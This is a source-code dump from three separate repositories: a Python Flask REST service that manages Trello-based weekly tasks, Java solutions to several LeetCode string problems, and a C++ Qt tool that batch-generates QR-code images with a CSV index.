raise ValueError("Task with name '%s' does not exist" % name) deleted_task = {'name': checklist_item_to_delete['name'], 'done': checklist_item_to_delete['checked']} return deleted_task def get_week(self, year, week): """Get the respective Trello list for a certain week.""" board = self._find_board_by_name(str(year)) list_name = self._get_week_list_string(year, week) list_ = self._find_list_by_name(board, list_name) cards = list_.list_cards() checklists = [c.checklists[0] for c in cards] tasks = [self._get_tasks_from_checklist(c) for c in checklists] return tasks def create_week(self, year, week): """Create a new Trello list for a week.""" raise NotImplementedError() def delete_week(self, year, week): """Delete the respective Trello list for a certain week.""" raise NotImplementedError() <file_sep>/bello/src/core/bello.py from trello_facade import TrelloFacade class Bello(object): """CRUD endpoint for tasks.""" def __init__(self): self.trello = TrelloFacade() def get_tasks(self, year, week, day): """Get all tasks.""" response = self.trello.get_tasks(year, week, day) return response def add_task(self, year, week, day, new_task_name): """Create a new task.""" response = self.trello.add_task(year, week, day, new_task_name) return response def update_task(self, year, week, day, new_task_name, new_task_done): """Change an existing task.""" response = self.trello.update_task(year, week, day, new_task_name, new_task_done) return response def delete_task(self, year, week, day, task_name): """Delete an existing task.""" response = self.trello.delete_task(year, week, day, task_name) return response <file_sep>/bello/src/client/cli.py from trello_facade import TrelloFacade trello = TrelloFacade() def run(): while True: try: input_ = input() year, week = input_.split('/') try: week = trello.get_week(year, week) except Exception as e: print("Week not found:\n%s" % e) finally: print(week) except KeyboardInterrupt: print("CLI exited") <file_sep>/bello/src/trello_facade/__init__.py from .trello_facade import TrelloFacade <file_sep>/bello/src/api/resources/tasks.py from flask import request from flask_restful import Resource from core import Bello class Tasks(Resource): """CRUD endpoint for tasks.""" def __init__(self): self.bello = Bello() def get(self, year, week, day): """Get all tasks.""" response = self.bello.get_tasks(year, week, day) return response def post(self, year, week, day): """Create a new task.""" json_data = request.get_json() new_task_name = json_data['name'] response = self.bello.add_task(year, week, day, new_task_name) return response def put(self, year, week, day): """Change an existing task.""" json_data = request.get_json() new_task_name = json_data['name'] new_task_done = json_data['done'] response = self.bello.update_task(year, week, day, new_task_name, new_task_done) return response def delete(self, year, week, day): """Delete an existing task.""" json_data = request.get_json() task_name = json_data['name'] response = self.bello.delete_task(year, week, day, task_name) return response <file_sep>/README.md # Bello A productivity helper using Trello to manage tasks in a ["Bullet Journal"](http://bulletjournal.com/)-ish fashion. ## Usage ### Run Bello The Bello service can simply be started using the provided Docker Compose configuration: ``` $ docker-compose up ``` ### API Endpoints As long as Bello does not come with a GUI, the service can only be accessed through its REST API: - **Tasks for a week:** */weeks/<int:year>/<int:week>* - **Tasks for a day:** */tasks/<int:year>/<int:week>/<int:day>* <file_sep>/bello/src/client/server.py from flask import Flask from flask_restful import Api from api.resources.tasks import Tasks from api.resources.weeks import Weeks app = Flask(__name__) api = Api(app) api.add_resource(Weeks, '/weeks/<int:year>/<int:week>') api.add_resource(Tasks, '/tasks/<int:year>/<int:week>/<int:day>') <file_sep>/bello/src/core/__init__.py from .bello import Bello<file_sep>/bello/src/api/resources/weeks.py from flask import request from flask_restful import Resource from trello_facade import TrelloFacade class Weeks(Resource): """CR(U)D endpoint for weeks.""" def __init__(self): self.trello = TrelloFacade() def get(self, year, week): """Get a single week.""" try: response = self.trello.get_week(year, week) except Exception as e: response = "Week not found.", 404 print(e) return response def post(self, year, week): """Create a new week.""" json_data = request.get_json() new_week_name = json_data['name'] response = self.trello.add_week(year, week, new_week_name) return response def delete(self, year, week): """Delete an existing week.""" json_data = request.get_json() new_week_name = json_data['name'] response = self.trello.delete_week(year, week, new_week_name) return response
f19061f7e3074d2509ed516bc11305ab39805e5f
[ "Markdown", "Python", "Dockerfile" ]
11
Python
floscha/bello
7d048a3e3b229fdb8b922935e8178df3cde91401
1d57ff6098b354d3a9e25704f6657a08ee16f385
refs/heads/master
<file_sep>package easy; /** * 给定一个仅包含大小写字母和空格 ' ' 的字符串,返回其最后一个单词的长度。 * <p> * 如果不存在最后一个单词,请返回 0 。 * <p> * 说明:一个单词是指由字母组成,但不包含任何空格的字符串。 * <p> * 示例: * <p> * 输入: "<NAME>" * 输出: 5 */ public class _58_lengthOfLastWord { private static int process(String s) { s = s.trim(); if (s == null || s.length() == 0) { return 0; } String[] strings = s.split(" "); return strings[strings.length - 1].length(); } public static void main(String[] args) { } } <file_sep>package middle; /** * 将一个给定字符串根据给定的行数,以从上往下、从左到右进行 Z 字形排列。 * <p> * 比如输入字符串为 "LEETCODEISHIRING" 行数为 3 时,排列如下: * <p> * L C I R * E T O E S I I G * E D H N * 之后,你的输出需要从左往右逐行读取,产生出一个新的字符串,比如:"LCIRETOESIIGEDHN"。 * <p> * 请你实现这个将字符串进行指定行数变换的函数: * <p> * string convert(string s, int numRows); * 示例 1: * <p> * 输入: s = "LEETCODEISHIRING", numRows = 3 * 输出: "LCIRETOESIIGEDHN" * 示例 2: * <p> * 输入: s = "LEETCODEISHIRING", numRows = 4 * 输出: "LDREOEIIECIHNTSG" * 解释: * <p> * L D R * E O E I I * E C I H N * T S G */ public class _06_zigzagConversion { private static String process(String s, int numRows) { if (s == null || s.length() == 0 || numRows == 1) { return s; } char[][] matrix = new char[numRows][getColumnNum(s, numRows)]; setMatrix(matrix, s); return printMatrix(matrix); } private static int getColumnNum(String s, int numRows) { int num1 = (s.length() / (2 * numRows - 2)) * (numRows - 1); int num2 = 0; if (s.length() % (2 * numRows - 2) == 0) { num2 = 0; } else { num2 = s.length() % (2 * numRows - 2) <= numRows ? 1 : (s.length() % (2 * numRows - 2) - numRows + 1); } return num1 + num2; } private static void setMatrix(char[][] matrix, String s) { int rowIndex = 0; int columnIndex = 0; boolean isFromTop = true; for (int i = 0; i < s.length(); i++) { matrix[rowIndex][columnIndex] = s.charAt(i); if (isFromTop) { if (rowIndex == matrix.length - 1) { isFromTop = !isFromTop; rowIndex--; columnIndex++; } else { rowIndex++; } } else { if (rowIndex == 0) { isFromTop = !isFromTop; rowIndex++; } else { rowIndex--; columnIndex++; } } } } private static String printMatrix(char[][] matrix) { char n = '\0'; StringBuilder sb = new StringBuilder(); for (int i = 0; i < matrix.length; i++) { for (int j = 0; j < matrix[i].length; j++) { if (matrix[i][j] != n) { sb.append(matrix[i][j]); } } } return sb.toString(); } public static void main(String[] args) { System.out.println(process("PAYPALISHIRING", 5)); } } <file_sep>package easy; /** * 给定两个二进制字符串,返回他们的和(用二进制表示)。 * <p> * 输入为非空字符串且只包含数字 1 和 0。 * <p> * 示例 1: * <p> * 输入: a = "11", b = "1" * 输出: "100" * 示例 2: * <p> * 输入: a = "1010", b = "1011" * 输出: "10101" */ public class _67_addBinary { private static String process(String a, String b) { char[] arrA = a.toCharArray(); char[] arrB = b.toCharArray(); int[] result = new int[Math.max(a.length(), b.length())]; int indexA = arrA.length - 1; int indexB = arrB.length - 1; int carry = 0; int intA = 0; int intB = 0; int curValue = 0; while (indexA >= 0 && indexB >= 0) { intA = arrA[indexA] - '0'; intB = arrB[indexB] - '0'; curValue = (intA + intB + carry) % 2; carry = (intA + intB + carry) / 2; result[Math.max(indexA, indexB)] = curValue; indexA--; indexB--; } while (indexA >= 0) { intA = arrA[indexA] - '0'; curValue = (intA + carry) % 2; carry = (intA + carry) / 2; result[indexA] = curValue; indexA--; } while (indexB >= 0) { intB = arrB[indexB] - '0'; curValue = (intB + carry) % 2; carry = (intB + carry) / 2; result[indexB] = curValue; indexB--; } StringBuilder sb = new StringBuilder(); for (int i = 0; i < result.length; i++) { sb.append(result[i]); } if (carry > 0) { sb.insert(0, '1'); } return sb.toString(); } public static void main(String[] args) { System.out.println(process("100", "110010")); } }
310c44b4f4373b0a26cdc0a13cd086d434e6faca
[ "Java" ]
3
Java
yiguohan/LeetCode
7fd240bfc477fa4c5d5f3bb9dab5960fab1c9d9d
c97a7088212abf1df955eacdeed07103bd552f8b
refs/heads/master
<file_sep>#include "qtqrcodegenerator.h" #include "qrcodebatchgenerator.h" #include <QApplication> #include <QTextCodec> #include <QTranslator> int main(int argc, char *argv[]) { QApplication a(argc, argv); a.setWindowIcon(QIcon(":/images/icon.png")); QTextCodec::setCodecForLocale(QTextCodec::codecForName("GBK")); //QString translatorName = QString::fromLatin1("qtqrcodegenerator_zh"); QString translatorName = QString::fromLatin1("qtqrcodegenerator_zh"); QTranslator *translator = new QTranslator(&a); if (translator->load(translatorName/*, ":/translator/"*/)) QApplication::installTranslator(translator); QRcodeBatchGenerator w; w.show(); w.activateWindow(); return a.exec(); } <file_sep>#include "qtqrcodegenerator.h" #include "QRCodeUtil.h" #include <QImage> #include <QString> #include <QColor> // ------------------------------------------------------- // MEMBER FUNCTIONS OF CLASS QtQRcodeGenerator QtQRcodeGenerator::QtQRcodeGenerator(QWidget *parent) : QDialog(parent, Qt::WindowTitleHint|Qt::WindowMaximizeButtonHint|Qt::WindowMinimizeButtonHint|Qt::WindowCloseButtonHint) { ui.setupUi(this); } QtQRcodeGenerator::~QtQRcodeGenerator() { } void QtQRcodeGenerator::on_pushButtonCode_clicked() { QString dataStr = QString("edu#patrol#abcd123467890"); QImage qrImage; if (QRCodeUtil::getQRImage(qrImage, dataStr.toUtf8(), 10, QColor("#000000"))) { QImage image = qrImage.scaled(ui.labelImage->size(), Qt::KeepAspectRatio, Qt::SmoothTransformation); ui.labelImage->setPixmap(QPixmap::fromImage(image)); } else { ui.labelImage->setText(QString::fromLocal8Bit("Éú³É¶þάÂëʧ°Ü")); } }<file_sep>/******************************************************************************** ** Form generated from reading UI file 'qtqrcodegenerator.ui' ** ** Created by: Qt User Interface Compiler version 5.4.2 ** ** WARNING! All changes made in this file will be lost when recompiling UI file! ********************************************************************************/ #ifndef UI_QTQRCODEGENERATOR_H #define UI_QTQRCODEGENERATOR_H #include <QtCore/QVariant> #include <QtWidgets/QAction> #include <QtWidgets/QApplication> #include <QtWidgets/QButtonGroup> #include <QtWidgets/QDialog> #include <QtWidgets/QHeaderView> #include <QtWidgets/QLabel> #include <QtWidgets/QPushButton> #include <QtWidgets/QVBoxLayout> QT_BEGIN_NAMESPACE class Ui_QtQRcodeGeneratorClass { public: QVBoxLayout *verticalLayout_2; QVBoxLayout *verticalLayout; QLabel *labelImage; QPushButton *pushButtonCode; void setupUi(QDialog *QtQRcodeGeneratorClass) { if (QtQRcodeGeneratorClass->objectName().isEmpty()) QtQRcodeGeneratorClass->setObjectName(QStringLiteral("QtQRcodeGeneratorClass")); QtQRcodeGeneratorClass->resize(438, 521); verticalLayout_2 = new QVBoxLayout(QtQRcodeGeneratorClass); verticalLayout_2->setSpacing(6); verticalLayout_2->setContentsMargins(11, 11, 11, 11); verticalLayout_2->setObjectName(QStringLiteral("verticalLayout_2")); verticalLayout = new QVBoxLayout(); verticalLayout->setSpacing(6); verticalLayout->setObjectName(QStringLiteral("verticalLayout")); labelImage = new QLabel(QtQRcodeGeneratorClass); labelImage->setObjectName(QStringLiteral("labelImage")); labelImage->setMinimumSize(QSize(400, 400)); labelImage->setMaximumSize(QSize(400, 400)); verticalLayout->addWidget(labelImage); pushButtonCode = new QPushButton(QtQRcodeGeneratorClass); pushButtonCode->setObjectName(QStringLiteral("pushButtonCode")); pushButtonCode->setMinimumSize(QSize(0, 30)); pushButtonCode->setMaximumSize(QSize(16777215, 30)); verticalLayout->addWidget(pushButtonCode); verticalLayout_2->addLayout(verticalLayout); retranslateUi(QtQRcodeGeneratorClass); QMetaObject::connectSlotsByName(QtQRcodeGeneratorClass); } // setupUi void retranslateUi(QDialog *QtQRcodeGeneratorClass) { QtQRcodeGeneratorClass->setWindowTitle(QApplication::translate("QtQRcodeGeneratorClass", "\344\272\214\347\273\264\347\240\201\347\224\237\346\210\220\345\231\250", 0)); labelImage->setText(QString()); pushButtonCode->setText(QApplication::translate("QtQRcodeGeneratorClass", "\347\224\237\346\210\220", 0)); } // retranslateUi }; namespace Ui { class QtQRcodeGeneratorClass: public Ui_QtQRcodeGeneratorClass {}; } // namespace Ui QT_END_NAMESPACE #endif // UI_QTQRCODEGENERATOR_H <file_sep>#include "imagepainter.h" #include "QRCodeUtil.h" #include <QPainter> #include <QDir> ImagePainter::ImagePainter(QObject *parent) : QObject(parent), m_backgroudImage(0) { generateBGImage(); } ImagePainter::~ImagePainter() { } void ImagePainter::setSourceQRcodeImage(const QImage &sourceImage) { m_sourceImage = sourceImage; } bool ImagePainter::makeQRcodeImage() { QString base64Data = m_id.toLatin1().toBase64(); m_data = QString("edu#patrol#"); m_data.append(base64Data); QRCodeUtil::getQRImage(m_sourceImage, m_data.toUtf8(), 10, QColor("#000000")); if (m_sourceImage.isNull()) { return false; } else { return true; } } QString ImagePainter::data() const { return m_data; } void ImagePainter::setId(const QString &id) { m_id = id; } void ImagePainter::setSavingPath(const QString &path) { if (path.isEmpty()) { return; } m_savingPath = path; } bool ImagePainter::isSavingPathExist(const QString path) { QDir dir(path); if (dir.exists()) { return true; } else { return false; } } void ImagePainter::generateBGImage(const QSize &imageSize, const QColor &color) { m_backgroudImage = new QImage(imageSize, QImage::Format_RGBA8888);// 颜色支持透明度 m_backgroudImage->fill(color); } void ImagePainter::drawQRcode() { int padder = 10; QPainter painter(m_backgroudImage); QSize targetSize = m_backgroudImage->size(); QSize scaledSize; // target image's height is larger. scaledSize.setWidth(targetSize.width() - padder * 2); scaledSize.setHeight(scaledSize.width()); m_sourceImage = m_sourceImage.scaled(scaledSize, Qt::KeepAspectRatio, Qt::SmoothTransformation); QRect sourceRect(0, 0, scaledSize.width(), scaledSize.height()); QRect targetRect(padder, padder, padder + scaledSize.width(), padder + scaledSize.height()); painter.drawImage(QPoint(padder, padder), m_sourceImage); } void ImagePainter::drawText() { int padder = 10; QPainter painter(m_backgroudImage); QPen pen = painter.pen(); pen.setColor(Qt::black); QFont font = painter.font(); font.setBold(true); font.setPixelSize(20); painter.setPen(pen); painter.setFont(font); QRect rectText(padder, padder * 2 + m_sourceImage.height(), m_sourceImage.width(), 20); painter.drawText(rectText, Qt::AlignCenter, m_id); } bool ImagePainter::saveImage() { if (!isSavingPathExist(m_savingPath)) { return false; } QString filePath = m_savingPath; filePath.append("/"); filePath.append(m_id); filePath.append(".png"); return m_backgroudImage->save(filePath); }<file_sep>#include "worker.h" #include "imagepainter.h" #include <QDir> #include <QTextStream> Worker::Worker(const QString &startId, const QString &path, const int generateCount) :m_startId(startId), m_savingPath(path), m_generateCount(generateCount) { if (!createCSVFile()) { emit error(tr("create csv file failed")); } } Worker::~Worker() { } bool Worker::createCSVFile() { QString csvFileName = QString("readme.csv"); QString currentPath = QDir::currentPath(); QString csvFilePath = m_savingPath; csvFilePath.append(QString("/%1").arg(csvFileName)); m_csvFile.setFileName(csvFilePath); if (m_csvFile.open(QIODevice::ReadWrite)) { return true; } else { return false; } } void Worker::process() { QTextStream textStream; textStream.setDevice(&m_csvFile); QString header; header.append("id"); header.append(","); header.append("data"); header.append(","); header.append("file name\n"); textStream << header; qint64 nStartId = m_startId.toLongLong(); for(qint64 i = nStartId; i < m_generateCount + nStartId; ++i) { int width = m_startId.length(); QString id = QString("%1").arg(i, width, 10, QLatin1Char('0')); ImagePainter imagePainter(this); imagePainter.setId(id); if (!imagePainter.makeQRcodeImage()) { emit error(tr("make QRcode image failed")); return; } imagePainter.drawQRcode(); //imagePainter.drawText(); imagePainter.setSavingPath(m_savingPath); if (imagePainter.saveImage()) { emit progressChanged(i - nStartId + 1); } else { emit error(tr("save QRcode image failed")); } QString record; record.append(id); record.append(","); record.append(imagePainter.data()); record.append(","); record.append(QString("%1.png").arg(id)); record.append("\n"); textStream << record; } m_csvFile.close(); emit finished(); }<file_sep>#ifndef QRCODEBATCHGENERATOR_H #define QRCODEBATCHGENERATOR_H #include <QDialog> #include <QFile> #include <QThread> class ImagePainter; namespace Ui {class QRcodeBatchGenerator;}; class QRcodeBatchGenerator : public QDialog { Q_OBJECT public: QRcodeBatchGenerator(QWidget *parent = 0); ~QRcodeBatchGenerator(); public slots: void on_pushButtonGenerate_clicked(); void onError(const QString &errorString); void onFinished(); void onProgressChanged(int value); private: void createDirectory(); void removeDirectory(); void dealWithErrors(const QString &errString); void showErrors(const QString &errString); void reset(); private: Ui::QRcodeBatchGenerator *ui; QString m_path; bool m_inOperating; QThread *m_thread; }; #endif // QRCODEBATCHGENERATOR_H <file_sep>#ifndef CONFIG_H #define CONFIG_H // manual config.h for microsoft visual studio #define HAVE_STRDUP 1 #define __STATIC static #define MAJOR_VERSION 3 #define MINOR_VERSION 4 #define MICRO_VERSION 3 #define VERSION "" #endif <file_sep># QtQRcodeGenerator generate QRcode images and document list file(csv). <file_sep>#ifndef IMAGEPAINTER_H #define IMAGEPAINTER_H #include <QObject> #include <QImage> #include <QColor> class ImagePainter : public QObject { Q_OBJECT public: ImagePainter(QObject *parent); ~ImagePainter(); void setSourceQRcodeImage(const QImage &sourceImage); bool makeQRcodeImage(); void setId(const QString &id); void setSavingPath(const QString &path); bool isSavingPathExist(const QString path); void generateBGImage(const QSize &imageSize = QSize(300, 300), const QColor &color = QColor(255, 255, 255)); void drawQRcode(); void drawText(); bool saveImage(); QString data() const; private: QImage *m_backgroudImage; QImage m_sourceImage; QString m_id; QString m_savingPath; QString m_data; }; #endif // IMAGEPAINTER_H <file_sep>#ifndef WORKER_H #define WORKER_H #include <QObject> #include <QFile> class Worker : public QObject { Q_OBJECT public: Worker(const QString &startId, const QString &path, const int generateCount); ~Worker(); public slots: void process(); signals: void finished(); void error(const QString &err); void progressChanged(int value); private: bool createCSVFile(); private: QFile m_csvFile; QString m_startId; QString m_savingPath; int m_generateCount; }; #endif // WORKER_H <file_sep>#include "qrcodebatchgenerator.h" #include "ui_qrcodebatchgenerator.h" #include "imagepainter.h" #include "QRCodeUtil.h" #include "worker.h" #include <QMessageBox> #include <QDesktopServices> #include <QDateTime> #include <QDir> #include <QThread> #include <QFile> QRcodeBatchGenerator::QRcodeBatchGenerator(QWidget *parent) : QDialog(parent), m_inOperating(false) { ui = new Ui::QRcodeBatchGenerator(); ui->setupUi(this); QString progressStyleSheet("QProgressBar{\ border: none;\ color: white;\ text-align: center;\ background: rgb(68, 69, 73);\ }\ QProgressBar::chunk {\ border: none;\ background: rgb(0, 160, 230);\ }"); ui->progressBar->setStyleSheet(progressStyleSheet); ui->progressBar->setMinimum(0); ui->progressBar->setMaximum(0); ui->progressBar->hide(); } QRcodeBatchGenerator::~QRcodeBatchGenerator() { delete ui; } void QRcodeBatchGenerator::createDirectory() { QString deskTopPath = QStandardPaths::writableLocation(QStandardPaths::DesktopLocation); QDateTime dateTime = QDateTime::currentDateTime(); QString folerName = dateTime.toString("yyyy-MM-dd HHmmss"); folerName.append("_"); folerName.append(tr("QRcode")); QDir dir(deskTopPath); dir.mkdir(folerName); dir.cd(folerName); m_path = dir.path(); } void QRcodeBatchGenerator::removeDirectory() { QDir createdDir(m_path); if (createdDir.exists()) { createdDir.removeRecursively(); } } void QRcodeBatchGenerator::dealWithErrors(const QString &errString) { if (!errString.isEmpty()) { showErrors(errString); } removeDirectory(); reset(); } void QRcodeBatchGenerator::showErrors(const QString &errString) { if (!errString.isEmpty()) { QMessageBox::information(this, tr("Tip"), errString); } } void QRcodeBatchGenerator::reset() { m_inOperating = false; } void QRcodeBatchGenerator::onError(const QString &errorString) { // todo dealWithErrors(errorString); } void QRcodeBatchGenerator::onFinished() { //ui->progressBa m_inOperating = false; } void QRcodeBatchGenerator::onProgressChanged(int value) { ui->progressBar->setValue(value); } void QRcodeBatchGenerator::on_pushButtonGenerate_clicked() { if (m_inOperating) { QMessageBox::information(this, tr("Tip"), tr("It's working now, please wait.")); return; } m_inOperating = true; createDirectory(); QString startId = ui->lineEditStartID->text().trimmed(); QString num = ui->lineEditGenerateNum->text().trimmed(); if (startId.isEmpty() || num.isEmpty()) { dealWithErrors(tr("start ID and generate num can not be empty")); return; } bool toIntOk = true; qint64 nStartId = startId.toLongLong(&toIntOk, 10); if (!toIntOk) { dealWithErrors(tr("please make sure that start ID is pure number")); return; } int nNum = num.toInt(&toIntOk); if (!toIntOk) { dealWithErrors(tr("please make sure that generate count is pure number")); return; } if (nStartId < 0) { dealWithErrors(tr("start ID can not be minus")); return; } if (nNum <= 0) { dealWithErrors(tr("generate num should be positive")); return; } ui->progressBar->setMaximum(nNum); ui->progressBar->setVisible(true); m_thread = new QThread(); Worker *worker = new Worker(startId, m_path, nNum); worker->moveToThread(m_thread); connect(worker, SIGNAL(error(QString)), this, SLOT(onError(QString))); connect(m_thread, SIGNAL(started()), worker, SLOT(process())); connect(worker, SIGNAL(finished()), worker, SLOT(deleteLater())); connect(worker, SIGNAL(finished()), this, SLOT(onFinished())); connect(m_thread, SIGNAL(finished()), m_thread, SLOT(deleteLater())); connect(worker, SIGNAL(progressChanged(int)), SLOT(onProgressChanged(int))); m_thread->start(); }<file_sep>#include "QRCodeUtil.h" #include "qrencode.h" #include <QImage> #include <QPixmap> #include <QColor> #include <QDebug> // BMP defines typedef unsigned short WORD; typedef unsigned long DWORD; typedef signed long LONG; #define BI_RGB 0L #pragma pack(push, 2) typedef struct { WORD bfType; DWORD bfSize; WORD bfReserved1; WORD bfReserved2; DWORD bfOffBits; } BITMAPFILEHEADER; typedef struct { DWORD biSize; LONG biWidth; LONG biHeight; WORD biPlanes; WORD biBitCount; DWORD biCompression; DWORD biSizeImage; LONG biXPelsPerMeter; LONG biYPelsPerMeter; DWORD biClrUsed; DWORD biClrImportant; } BITMAPINFOHEADER; #pragma pack(pop) // ------------------------------------------------------- bool QRCodeUtil::getQRImage(QImage &qrImage, const QByteArray &text, int preScaler, const QColor &codeColor) { const char* szSourceSring = text.constData(); unsigned int unWidth, x, y, l, n, unWidthAdjusted, unDataBytes; unsigned char* pRGBData, *pSourceData, *pDestData, *pBmpData; QRcode* pQRC; // Compute QRCode if (pQRC = QRcode_encodeString(szSourceSring, 0, QR_ECLEVEL_M, QR_MODE_8, 1)) { unWidth = pQRC->width; unWidthAdjusted = unWidth * preScaler * 3; if (unWidthAdjusted % 4) unWidthAdjusted = (unWidthAdjusted / 4 + 1) * 4; unDataBytes = unWidthAdjusted * unWidth * preScaler; // Allocate pixels buffer if (!(pRGBData = (unsigned char*)malloc(unDataBytes))) { qWarning() << "rgb data out of memory"; QRcode_free(pQRC); return false; } // Preset to white memset(pRGBData, 0xff, unDataBytes); // Prepare bmp headers BITMAPFILEHEADER kFileHeader; kFileHeader.bfType = 0x4d42; // "BM" kFileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + unDataBytes; kFileHeader.bfReserved1 = 0; kFileHeader.bfReserved2 = 0; kFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); BITMAPINFOHEADER kInfoHeader; kInfoHeader.biSize = sizeof(BITMAPINFOHEADER); kInfoHeader.biWidth = unWidth * preScaler; kInfoHeader.biHeight = -((int)unWidth * preScaler); kInfoHeader.biPlanes = 1; kInfoHeader.biBitCount = 24; kInfoHeader.biCompression = BI_RGB; kInfoHeader.biSizeImage = 0; kInfoHeader.biXPelsPerMeter = 0; kInfoHeader.biYPelsPerMeter = 0; kInfoHeader.biClrUsed = 0; kInfoHeader.biClrImportant = 0; // Convert QrCode bits to bmp pixels pSourceData = pQRC->data; for(y = 0; y < unWidth; y++) { pDestData = pRGBData + unWidthAdjusted * y * preScaler; for(x = 0; x < unWidth; x++) { if (*pSourceData & 1) { for(l = 0; l < preScaler; l++) { for(n = 0; n < preScaler; n++) { *(pDestData + n * 3 + unWidthAdjusted * l) = codeColor.blue(); *(pDestData + 1 + n * 3 + unWidthAdjusted * l) = codeColor.green(); *(pDestData + 2 + n * 3 + unWidthAdjusted * l) = codeColor.red(); } } } pDestData += 3 * preScaler; pSourceData++; } } // Allocate bmp file buffer if (!(pBmpData = (unsigned char*)malloc(sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+unDataBytes))) { qWarning() << "bmp file out of memory"; free(pRGBData); QRcode_free(pQRC); return false; } // Output the bmp data memcpy(pBmpData, &kFileHeader, sizeof(BITMAPFILEHEADER)); memcpy(pBmpData+sizeof(BITMAPFILEHEADER), &kInfoHeader, sizeof(BITMAPINFOHEADER)); memcpy(pBmpData+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER), pRGBData, unDataBytes); // change to QImage QImage image = QImage::fromData(pBmpData, sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+unDataBytes, "BMP"); qrImage = image; // Free data free(pRGBData); free(pBmpData); QRcode_free(pQRC); if (image.isNull()) { qWarning() << "load bmp failed."; return false; } else { return true; } } else { qWarning() << "QR code encode failed."; return false; } } <file_sep>#ifndef QTQRCODEGENERATOR_H #define QTQRCODEGENERATOR_H #include <QDialog> #include "ui_qtqrcodegenerator.h" class BackgroundQRCode; class MoveDialog; class QtQRcodeGenerator : public QDialog { Q_OBJECT public: QtQRcodeGenerator(QWidget *parent = 0); ~QtQRcodeGenerator(); private Q_SLOTS: void on_pushButtonCode_clicked(); private: Ui::QtQRcodeGeneratorClass ui; }; #endif // QTQRCODEGENERATOR_H <file_sep>#ifndef __QRCODEUTIL_H__ #define __QRCODEUTIL_H__ class QImage; class QByteArray; class QColor; class QRCodeUtil { public: static bool getQRImage(QImage &qrImage, const QByteArray &text, int preScaler, const QColor &codeColor); }; #endif // __QRCODEUTIL_H__ <file_sep>/******************************************************************************** ** Form generated from reading UI file 'qrcodebatchgenerator.ui' ** ** Created by: Qt User Interface Compiler version 5.4.2 ** ** WARNING! All changes made in this file will be lost when recompiling UI file! ********************************************************************************/ #ifndef UI_QRCODEBATCHGENERATOR_H #define UI_QRCODEBATCHGENERATOR_H #include <QtCore/QVariant> #include <QtWidgets/QAction> #include <QtWidgets/QApplication> #include <QtWidgets/QButtonGroup> #include <QtWidgets/QDialog> #include <QtWidgets/QGridLayout> #include <QtWidgets/QHeaderView> #include <QtWidgets/QLabel> #include <QtWidgets/QLineEdit> #include <QtWidgets/QProgressBar> #include <QtWidgets/QPushButton> #include <QtWidgets/QWidget> QT_BEGIN_NAMESPACE class Ui_QRcodeBatchGenerator { public: QPushButton *pushButtonGenerate; QWidget *layoutWidget; QGridLayout *gridLayout; QLabel *labelStartId; QLineEdit *lineEditStartID; QLabel *labelGenerateNum; QLineEdit *lineEditGenerateNum; QProgressBar *progressBar; void setupUi(QDialog *QRcodeBatchGenerator) { if (QRcodeBatchGenerator->objectName().isEmpty()) QRcodeBatchGenerator->setObjectName(QStringLiteral("QRcodeBatchGenerator")); QRcodeBatchGenerator->resize(363, 383); pushButtonGenerate = new QPushButton(QRcodeBatchGenerator); pushButtonGenerate->setObjectName(QStringLiteral("pushButtonGenerate")); pushButtonGenerate->setGeometry(QRect(40, 260, 281, 41)); layoutWidget = new QWidget(QRcodeBatchGenerator); layoutWidget->setObjectName(QStringLiteral("layoutWidget")); layoutWidget->setGeometry(QRect(40, 60, 281, 111)); gridLayout = new QGridLayout(layoutWidget); gridLayout->setSpacing(6); gridLayout->setContentsMargins(11, 11, 11, 11); gridLayout->setObjectName(QStringLiteral("gridLayout")); gridLayout->setContentsMargins(0, 0, 0, 0); labelStartId = new QLabel(layoutWidget); labelStartId->setObjectName(QStringLiteral("labelStartId")); gridLayout->addWidget(labelStartId, 0, 0, 1, 1); lineEditStartID = new QLineEdit(layoutWidget); lineEditStartID->setObjectName(QStringLiteral("lineEditStartID")); gridLayout->addWidget(lineEditStartID, 0, 1, 1, 1); labelGenerateNum = new QLabel(layoutWidget); labelGenerateNum->setObjectName(QStringLiteral("labelGenerateNum")); gridLayout->addWidget(labelGenerateNum, 1, 0, 1, 1); lineEditGenerateNum = new QLineEdit(layoutWidget); lineEditGenerateNum->setObjectName(QStringLiteral("lineEditGenerateNum")); gridLayout->addWidget(lineEditGenerateNum, 1, 1, 1, 1); progressBar = new QProgressBar(QRcodeBatchGenerator); progressBar->setObjectName(QStringLiteral("progressBar")); progressBar->setGeometry(QRect(40, 200, 281, 23)); progressBar->setValue(24); retranslateUi(QRcodeBatchGenerator); QMetaObject::connectSlotsByName(QRcodeBatchGenerator); } // setupUi void retranslateUi(QDialog *QRcodeBatchGenerator) { QRcodeBatchGenerator->setWindowTitle(QApplication::translate("QRcodeBatchGenerator", "QRcodeBatchGenerator", 0)); pushButtonGenerate->setText(QApplication::translate("QRcodeBatchGenerator", "\345\274\200\345\247\213\347\224\237\346\210\220", 0)); labelStartId->setText(QApplication::translate("QRcodeBatchGenerator", "\350\265\267\345\247\213ID\357\274\232", 0)); labelGenerateNum->setText(QApplication::translate("QRcodeBatchGenerator", "\347\224\237\346\210\220\344\270\252\346\225\260\357\274\232", 0)); } // retranslateUi }; namespace Ui { class QRcodeBatchGenerator: public Ui_QRcodeBatchGenerator {}; } // namespace Ui QT_END_NAMESPACE #endif // UI_QRCODEBATCHGENERATOR_H
f4853673d26990855687c360a22c61e6c9172466
[ "Markdown", "C", "C++" ]
15
C++
biglone/QtQRcodeGenerator
14666e1f78019ef7f3665083add4402e7a9f69c3
26d823f0ec96352c295f2842d0783913cae03001
refs/heads/master
